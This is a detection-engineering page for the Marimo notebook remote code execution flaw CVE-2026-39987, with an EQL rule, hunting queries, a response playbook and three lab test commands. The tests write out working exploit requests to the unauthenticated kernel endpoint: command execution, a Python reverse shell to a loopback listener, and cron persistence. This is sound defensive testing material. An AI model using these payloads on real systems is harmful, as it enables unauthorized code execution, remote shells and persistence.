CVE-2026-39987 Elastic Security · Elastic

Detect Marimo Remote Code Execution via Missing Authentication (CVE-2026-39987) in Elastic Security

CVE-2026-39987 is a critical remote code execution vulnerability in the Marimo reactive notebook framework caused by missing authentication (CWE-306) for critical server-side functions. An unauthenticated remote attacker can invoke kernel execution endpoints to run arbitrary Python code in the context of the Marimo server process. This vulnerability is actively exploited in the wild and listed on the CISA KEV catalog.

MITRE ATT&CK

Tactic
Initial Access Execution Privilege Escalation

Elastic Detection Query

Elastic Security (Elastic)
eql
sequence by host.id with maxspan=2m
  [process where event.type == "start"
   and (process.name like~ "marimo" or process.command_line like~ "*marimo*")]
  [process where event.type == "start"
   and process.parent.name like~ "python*"
   and process.command_line like~ ("*subprocess*", "*os.system*", "*exec(*", "*eval(*", "*Popen*", "*shell=True*")]
critical severity medium confidence

EQL sequence detection matching Marimo server process startup followed within two minutes by a Python child process exhibiting shell execution patterns indicative of CVE-2026-39987 exploitation.

Data Sources

Elastic EndpointauditdWinlogbeat

Required Tables

logs-endpoint.events.process*winlogbeat-*

False Positives & Tuning

  • Notebooks that intentionally spawn subprocesses for legitimate computation tasks
  • Plugin or extension mechanisms within Marimo that launch helper processes
  • Automated testing harnesses that start Marimo and then immediately run commands against it

Other platforms for CVE-2026-39987


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Unauthenticated Marimo Kernel RCE via HTTP POST

    Expected signal: HTTP POST to Marimo port 2718 from loopback or external IP; new child process (sh or bash) spawned under the Marimo/Python process; creation of /tmp/marimo_rce_test.txt by the Marimo server user

  2. Test 2Marimo RCE Reverse Shell Simulation

    Expected signal: Outbound TCP connection from Marimo Python process to loopback port 9999; /bin/sh spawned as child of Python under Marimo server; socket.connect syscall in audit logs

  3. Test 3Marimo Persistence via Cron Injection through RCE

    Expected signal: subprocess.run executing bash crontab command as Marimo server user; crontab modification event in audit logs; new cron entry for the Marimo user account


Response Playbook

Triage

  1. Identify the source IP(s) that sent HTTP requests to the Marimo server's kernel execution endpoint. Determine whether the source is internal (developer workstation, CI runner) or external (internet-facing).
  2. Check whether the Marimo instance is exposed to the internet or only accessible on localhost or a private network segment. Exposure to the public internet dramatically increases severity.
  3. Review Marimo server process logs and any reverse-proxy access logs (nginx, Caddy, Traefik) for unauthenticated POST requests to kernel execution or run-cell API endpoints within the detection window.
  4. Inspect the host running Marimo for new files, modified cron entries, authorized_keys changes, or new user accounts created around the time of the suspicious activity.

Containment

  1. Immediately block or firewall network access to the Marimo server port (default 2718) from all untrusted networks. If the server must remain available, require authentication via a reverse proxy with mTLS or basic auth until a patched version is deployed.
  2. If active exploitation is confirmed, isolate the host from the network, terminate the Marimo process, and preserve a forensic snapshot (memory dump, disk image) before remediation.

Evidence Collection

  1. Collect Marimo server stdout/stderr logs, reverse-proxy access logs, and any application-level logging covering the 24-hour window preceding the alert.
  2. Capture a process tree snapshot (ps auxf on Linux, Get-Process on Windows) and running network connections (ss -antp / netstat -ano) from the affected host immediately upon detection to document the execution environment.

Escalation Criteria

  • !Escalate immediately if the Marimo server is confirmed internet-facing and the source IP is external — this indicates active exploitation of a KEV-listed vulnerability.
  • !Escalate if any persistence mechanisms (new cron jobs, SSH authorized_keys entries, systemd units, or new user accounts) are discovered on the affected host, indicating the attacker has moved beyond initial access.

Investigation Guide

Related Techniques

Forensic Artifacts

  • >Marimo server access logs showing POST requests to kernel execution endpoints (/api/kernel/run or equivalent) from unexpected source IPs without authentication headers
  • >Linux audit log entries (execve syscalls) for processes spawned by the Marimo server user account, particularly any that invoke bash, sh, curl, wget, or base64
  • >New or modified files in the Marimo server user's home directory, /tmp, or /var/tmp created during the exploitation window, including dropped payloads or reverse shell scripts

Tuning Guidance

Baseline Marimo server deployments in your environment to understand normal subprocess invocation patterns within notebooks. Allowlist known-good notebook workflows that legitimately call subprocess or os.system. Consider restricting this detection to hosts where Marimo is not expected to run in production, or elevate confidence to high for any Marimo instances exposed on public network interfaces. If Marimo runs in Docker, add container image name to the filter criteria to reduce noise from dev environments.


Hunting Queries

Threat hunt for Marimo server processes establishing outbound connections to public IPs or receiving repeated requests, which may indicate beaconing or data exfiltration following successful CVE-2026-39987 exploitation.

Hunting — KQL
kql
DeviceNetworkEvents
| where TimeGenerated > ago(7d)
| where InitiatingProcessFileName =~ "python" or InitiatingProcessFileName =~ "python3"
| where RemoteIPType == "Public"
| where InitiatingProcessCommandLine has "marimo"
| summarize count(), make_set(RemoteIP), make_set(RemotePort) by DeviceName, InitiatingProcessCommandLine
| where count_ > 3
Hunting — SPL
spl
index=* sourcetype=linux:audit OR sourcetype=xmlwineventlog:microsoft-windows-sysmon/operational
| eval marimo_related = if(match(cmdline, "(?i)marimo"), 1, 0)
| where marimo_related=1
| stats count values(src_ip) as sources values(dest_ip) as destinations by host, user, cmdline
| where count > 2
| sort - count

Atomic Red Team Tests

Test 1 Unauthenticated Marimo Kernel RCE via HTTP POST
linux

Simulates an attacker exploiting CVE-2026-39987 by sending an unauthenticated HTTP POST to the Marimo server's kernel execution endpoint to run arbitrary Python code.

Command

bash
curl -s -X POST http://127.0.0.1:2718/api/kernel/run -H 'Content-Type: application/json' -d '{"code": "import os; os.system(\"id > /tmp/marimo_rce_test.txt\")"}'

Cleanup

bash
rm -f /tmp/marimo_rce_test.txt

Expected Telemetry

HTTP POST to Marimo port 2718 from loopback or external IP; new child process (sh or bash) spawned under the Marimo/Python process; creation of /tmp/marimo_rce_test.txt by the Marimo server user

Expected Detection

DeviceProcessEvents / linux:audit should capture a Python subprocess spawning os.system; network logs should show the inbound HTTP request to port 2718

Test 2 Marimo RCE Reverse Shell Simulation
linux

Simulates post-exploitation reverse shell establishment following CVE-2026-39987 by injecting a Python-based reverse shell payload through the unauthenticated Marimo API endpoint.

Command

bash
curl -s -X POST http://127.0.0.1:2718/api/kernel/run -H 'Content-Type: application/json' -d '{"code": "import socket,subprocess; s=socket.socket(); s.connect((\"127.0.0.1\",9999)); subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())"}'

Cleanup

bash
pkill -f 'nc -lvnp 9999'; pkill -f '/bin/sh -i'

Expected Telemetry

Outbound TCP connection from Marimo Python process to loopback port 9999; /bin/sh spawned as child of Python under Marimo server; socket.connect syscall in audit logs

Expected Detection

EQL/CQL sequence rule fires on Python process with socket connection followed by shell spawn; network connection event from Marimo process to unexpected destination

Test 3 Marimo Persistence via Cron Injection through RCE
linux

Simulates an attacker achieving persistence after CVE-2026-39987 exploitation by injecting a cron job through the unauthenticated Marimo kernel API.

Command

bash
curl -s -X POST http://127.0.0.1:2718/api/kernel/run -H 'Content-Type: application/json' -d '{"code": "import subprocess; subprocess.run([\"bash\",\"-c\",\"(crontab -l 2>/dev/null; echo \\\"* * * * * /tmp/beacon.sh\\\") | crontab -\"])"}'

Cleanup

bash
crontab -l | grep -v beacon.sh | crontab -; rm -f /tmp/beacon.sh

Expected Telemetry

subprocess.run executing bash crontab command as Marimo server user; crontab modification event in audit logs; new cron entry for the Marimo user account

Expected Detection

Process execution alert fires on Marimo parent spawning bash with crontab arguments; file integrity monitoring should flag crontab modification for the affected user

Related Detections